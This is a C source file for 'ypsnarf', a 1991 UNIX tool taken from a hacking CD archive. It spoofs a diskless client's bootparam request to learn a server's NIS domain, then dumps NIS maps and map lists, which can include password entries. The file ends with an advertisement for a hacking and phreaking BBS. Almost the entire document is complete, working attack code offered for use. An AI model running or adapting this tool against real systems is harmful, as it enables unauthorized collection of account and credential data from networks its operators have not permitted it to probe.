home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / YPSNARF.ZIP / YPSNARF.C
C/C++ Source or Header  |  1993-01-14  |  12KB  |  427 lines

  1. /*
  2.  * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
  3.  * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
  4.  * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM.  PLEASE DO NOT
  5.  * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
  6.  *
  7.  * ypsnarf - exercise security holes in yp/nis.
  8.  *
  9.  * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
  10.  * (casper@fwi.uva.nl).
  11.  *
  12.  * Usage:
  13.  *       ypsnarf server client
  14.  *            - to obtain the yp domain name
  15.  *       ypsnarf server domain mapname
  16.  *            - to obtain a copy of a yp map
  17.  *       ypsnarf server domain maplist
  18.  *            - to obtain a list of yp maps
  19.  *
  20.  * In the first case, we lie and pretend to be the host "client", and send
  21.  * a BOOTPARAMPROC_WHOAMI request to the host "server".  Note that for this
  22.  * to work, "server" must be running rpc.bootparamd, and "client" must be a
  23.  * diskless client of (well, it must boot from) "server".
  24.  *
  25.  * In the second case, we send a YPPROC_DOMAIN request to the host "server",
  26.  * asking if it serves domain "domain".  If so, we send YPPROC_FIRST and
  27.  * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
  28.  * "mapname".  Note that you must specify the full yp map name, you cannot
  29.  * use the shorthand names provided by "ypcat".
  30.  *
  31.  * In the third case, the special map name "maplist" tells ypsnarf to send
  32.  * a YPPROC_MAPLIST request to the server and get the list of maps in domain
  33.  * "domain", instead of getting the contents of a map.  If the server has a
  34.  * map called "maplist" you can't get it.  Oh well.
  35.  *
  36.  * Since the callrpc() routine does not make any provision for timeouts, we
  37.  * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
  38.  * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
  39.  *
  40.  * This program uses UDP packets, which means there's a chance that things
  41.  * will get dropped on the floor; it's not a reliable stream like TCP.  In
  42.  * practice though, this doesn't seem to be a problem.
  43.  *
  44.  * To compile:
  45.  *       cc -o ypsnarf ypsnarf.c -lrpcsvc
  46.  *
  47.  * David A. Curry
  48.  * Purdue University
  49.  * Engineering Computer Network
  50.  * Electrical Engineering Building
  51.  * West Lafayette, IN 47907
  52.  * davy@ecn.purdue.edu
  53.  * January, 1991
  54.  */
  55. #include <sys/param.h>
  56. #include <sys/socket.h>
  57. #include <netinet/in.h>
  58. #include <arpa/inet.h>
  59. #include <rpc/rpc.h>
  60. #include <rpcsvc/bootparam.h>
  61. /* #include <rpcsvc/pnprpc.h>      /*needed on newer suns it seems */
  62. #include <rpcsvc/yp_prot.h>
  63. #include <rpc/pmap_clnt.h>
  64. #include <sys/time.h>
  65. #include <signal.h>
  66. #include <string.h>
  67. #include <netdb.h>
  68. #include <stdio.h>
  69.  
  70. #define BOOTPARAM_MAXDOMAINLEN    32   /* from rpc.bootparamd        */
  71. #define YPSNARF_TIMEOUT1     15   /* timeout for initial request     */
  72. #define YPSNARF_TIMEOUT2     30   /* timeout during map transfer     */
  73.  
  74. char     *pname;                  /* program name               */
  75.  
  76. main(argc, argv)
  77. char **argv;
  78. int argc;
  79. {
  80.     char *server, *client, *domain, *mapname;
  81.  
  82.     pname = *argv;
  83.  
  84.     /*
  85.      * Process arguments.  This is less than robust, but then
  86.      * hey, you're supposed to know what you're doing.
  87.      */
  88.     switch (argc) {
  89.     case 3:
  90.          server = *++argv;
  91.          client = *++argv;
  92.  
  93.          get_yp_domain(server, client);
  94.          exit(0);
  95.     case 4:
  96.          server = *++argv;
  97.          domain = *++argv;
  98.          mapname = *++argv;
  99.  
  100.          if (strcmp(mapname, "maplist") == 0)
  101.               get_yp_maplist(server, domain);
  102.          else
  103.               get_yp_map(server, domain, mapname);
  104.          exit(0);
  105.     default:
  106.          fprintf(stderr, "Usage: %s server client         -", pname);
  107.          fprintf(stderr, "to obtain yp domain name\n");
  108.          fprintf(stderr, "       %s server domain mapname -", pname);
  109.          fprintf(stderr, "to obtain contents of yp map\n");
  110.          exit(1);
  111.     }
  112. }
  113.  
  114. /*
  115.  * get_yp_domain - figure out the yp domain used between server and client.
  116.  */
  117. get_yp_domain(server, client)
  118. char *server, *client;
  119. {
  120.     long hostip;
  121.     struct hostent *hp;
  122.     bp_whoami_arg w_arg;
  123.     bp_whoami_res w_res;
  124.     extern void timeout();
  125.     enum clnt_stat errcode;
  126.  
  127.     /*
  128.      * Just a sanity check, here.
  129.      */
  130.     if ((hp = gethostbyname(server)) == NULL) {
  131.          fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
  132.          exit(1);
  133.     }
  134.  
  135.     /*
  136.      * Allow the client to be either an internet address or a
  137.      * host name.  Copy in the internet address.
  138.      */
  139.     if ((hostip = inet_addr(client)) == -1) {
  140.          if ((hp = gethostbyname(client)) == NULL) {
  141.               fprintf(stderr, "%s: %s: unknown host.\n", pname,
  142.                    client);
  143.               exit(1);
  144.          }
  145.  
  146.          bcopy(hp->h_addr_list[0],
  147.                (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  148.                hp->h_length);
  149.     }
  150.     else {
  151.          bcopy((caddr_t) &hostip,
  152.                (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  153.                sizeof(ip_addr_t));
  154.     }
  155.  
  156.     w_arg.client_address.address_type = IP_ADDR_TYPE;
  157.     bzero((caddr_t) &w_res, sizeof(bp_whoami_res));
  158.  
  159.     /*
  160.      * Send a BOOTPARAMPROC_WHOAMI request to the server.  This will
  161.      * give us the yp domain in the response, IFF client boots from
  162.      * the server.
  163.      */
  164.     signal(SIGALRM, timeout);
  165.     alarm(YPSNARF_TIMEOUT1);
  166.  
  167.     errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
  168.                 BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
  169.                 xdr_bp_whoami_res, &w_res);
  170.  
  171.     alarm(0);
  172.  
  173.     if (errcode != RPC_SUCCESS)
  174.          print_rpc_err(errcode);
  175.  
  176.     /*
  177.      * Print the domain name.
  178.      */
  179.     printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
  180.  
  181.     /*
  182.      * The maximum domain name length is 255 characters, but the
  183.      * rpc.bootparamd program truncates anything over 32 chars.
  184.      */
  185.     if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
  186.          printf(" (truncated?)");
  187.  
  188.     /*
  189.      * Put out the client name, if they didn't know it.
  190.      */
  191.     if (hostip != -1)
  192.          printf(" (client name = %s)", w_res.client_name);
  193.  
  194.     putchar('\n');
  195. }
  196.  
  197. /*
  198.  * get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
  199.  */
  200. get_yp_map(server, domain, mapname)
  201. char *server, *domain, *mapname;
  202. {
  203.     char *reqp;
  204.     bool_t yesno;
  205.     u_long calltype;
  206.     bool (*xdr_proc)();
  207.     extern void timeout();
  208.     enum clnt_stat errcode;
  209.     struct ypreq_key keyreq;
  210.     struct ypreq_nokey nokeyreq;
  211.     struct ypresp_key_val answer;
  212.  
  213.     /*
  214.      * This code isn't needed; the next call will give the same
  215.      * error message if there's no yp server there.
  216.      */
  217. #ifdef not_necessary
  218.     /*
  219.      * "Ping" the yp server and see if it's there.
  220.      */
  221.     signal(SIGALRM, timeout);
  222.     alarm(YPSNARF_TIMEOUT1);
  223.  
  224.     errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  225.                 xdr_void, 0);
  226.  
  227.     alarm(0);
  228.  
  229.     if (errcode != RPC_SUCCESS)
  230.          print_rpc_err(errcode);
  231. #endif
  232.  
  233.     /*
  234.      * Figure out whether server serves the yp domain we want.
  235.      */
  236.     signal(SIGALRM, timeout);
  237.     alarm(YPSNARF_TIMEOUT1);
  238.  
  239.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  240.                 xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  241.                 (caddr_t) &yesno);
  242.  
  243.     alarm(0);
  244.  
  245.     if (errcode != RPC_SUCCESS)
  246.          print_rpc_err(errcode);
  247.  
  248.     /*
  249.      * Nope...
  250.      */
  251.     if (yesno == FALSE) {
  252.          fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  253.               server, domain);
  254.          exit(1);
  255.     }
  256.  
  257.     /*
  258.      * Now we just read entry after entry...  The first entry we
  259.      * get with a nokey request.
  260.      */
  261.     keyreq.domain = nokeyreq.domain = domain;
  262.     keyreq.map = nokeyreq.map = mapname;
  263.     reqp = (caddr_t) &nokeyreq;
  264.     keyreq.keydat.dptr = NULL;
  265.  
  266.     answer.status = TRUE;
  267.     calltype = YPPROC_FIRST;
  268.     xdr_proc = xdr_ypreq_nokey;
  269.  
  270.     while (answer.status == TRUE) {
  271.          bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
  272.  
  273.          signal(SIGALRM, timeout);
  274.          alarm(YPSNARF_TIMEOUT2);
  275.  
  276.          errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
  277.                      reqp, xdr_ypresp_key_val, &answer);
  278.  
  279.          alarm(0);
  280.  
  281.          if (errcode != RPC_SUCCESS)
  282.               print_rpc_err(errcode);
  283.  
  284.          /*
  285.           * Got something; print it.
  286.           */
  287.          if (answer.status == TRUE) {
  288.               printf("%.*s\n", answer.valdat.dsize,
  289.                      answer.valdat.dptr);
  290.          }
  291.  
  292.          /*
  293.           * Now we're requesting the next item, so have to
  294.           * send back the current key.
  295.           */
  296.          calltype = YPPROC_NEXT;
  297.          reqp = (caddr_t) &keyreq;
  298.          xdr_proc = xdr_ypreq_key;
  299.  
  300.          if (keyreq.keydat.dptr)
  301.               free(keyreq.keydat.dptr);
  302.  
  303.          keyreq.keydat = answer.keydat;
  304.  
  305.          if (answer.valdat.dptr)
  306.               free(answer.valdat.dptr);
  307.     }
  308. }
  309.  
  310. /*
  311.  * get_yp_maplist - get the yp map list for  yp domain "domain" from server.
  312.  */
  313. get_yp_maplist(server, domain)
  314. char *server, *domain;
  315. {
  316.     bool_t yesno;
  317.     extern void timeout();
  318.     struct ypmaplist *mpl;
  319.     enum clnt_stat errcode;
  320.     struct ypresp_maplist maplist;
  321.  
  322.     /*
  323.      * This code isn't needed; the next call will give the same
  324.      * error message if there's no yp server there.
  325.      */
  326. #ifdef not_necessary
  327.     /*
  328.      * "Ping" the yp server and see if it's there.
  329.      */
  330.     signal(SIGALRM, timeout);
  331.     alarm(YPSNARF_TIMEOUT1);
  332.  
  333.     errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  334.                 xdr_void, 0);
  335.  
  336.     alarm(0);
  337.  
  338.     if (errcode != RPC_SUCCESS)
  339.          print_rpc_err(errcode);
  340. #endif
  341.  
  342.     /*
  343.      * Figure out whether server serves the yp domain we want.
  344.      */
  345.     signal(SIGALRM, timeout);
  346.     alarm(YPSNARF_TIMEOUT1);
  347.  
  348.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  349.                 xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  350.                 (caddr_t) &yesno);
  351.  
  352.     alarm(0);
  353.  
  354.     if (errcode != RPC_SUCCESS)
  355.          print_rpc_err(errcode);
  356.  
  357.     /*
  358.      * Nope...
  359.      */
  360.     if (yesno == FALSE) {
  361.          fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  362.               server, domain);
  363.          exit(1);
  364.     }
  365.  
  366.     maplist.list = (struct ypmaplist *) NULL;
  367.  
  368.     /*
  369.      * Now ask for the list.
  370.      */
  371.     signal(SIGALRM, timeout);
  372.     alarm(YPSNARF_TIMEOUT1);
  373.  
  374.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
  375.                 xdr_wrapstring, (caddr_t) &domain,
  376.                 xdr_ypresp_maplist, &maplist);
  377.  
  378.     alarm(0);
  379.  
  380.     if (errcode != RPC_SUCCESS)
  381.          print_rpc_err(errcode);
  382.  
  383.     if (maplist.status != YP_TRUE) {
  384.          fprintf(stderr, "%s: cannot get map list: %s\n", pname,
  385.               yperr_string(ypprot_err(maplist.status)));
  386.          exit(1);
  387.     }
  388.  
  389.     /*
  390.      * Print out the list.
  391.      */
  392.     for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
  393.          printf("%s\n", mpl->ypml_name);
  394. }
  395.  
  396. /*
  397.  * print_rpc_err - print an rpc error and exit.
  398.  */
  399. print_rpc_err(errcode)
  400. enum clnt_stat errcode;
  401. {
  402.     fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
  403.     exit(1);
  404. }
  405.  
  406. /*
  407.  * timeout - print a timeout and exit.
  408.  */
  409. void timeout()
  410. {
  411.     fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
  412.     exit(1);
  413. }
  414. -------------------------------------------------------------------------------
  415.         Fuck,  |||         Name: Aphter Dark
  416.       I'm in! |o,o|       Sysop: TRaP ZeR0
  417.    ____    \_ |_=_|      Online: 19:00-08:00 Central European Time.
  418.   |   |         ||               CET=EST+6h; CET=PST+9h; CET=GMT+1h
  419.   |___|        |//|        Subs: Card/Phraud, Internet, Voice Mail,
  420.    _H___    /\_// |              Phreaking, X.25 Nets, System Hacking, etc.
  421.   |_____| +++ _| _|       Files: Numerous.
  422.  =========== / /====     Speeds: 300-1200-2400-14400(HST)
  423.      ||     | |  ||    Location: Belgium, W-Europe.
  424.     _||_   _|_| _||_       Call: +32-16-254296
  425. -------------------------------------------------------------------------------
  426.  
  427.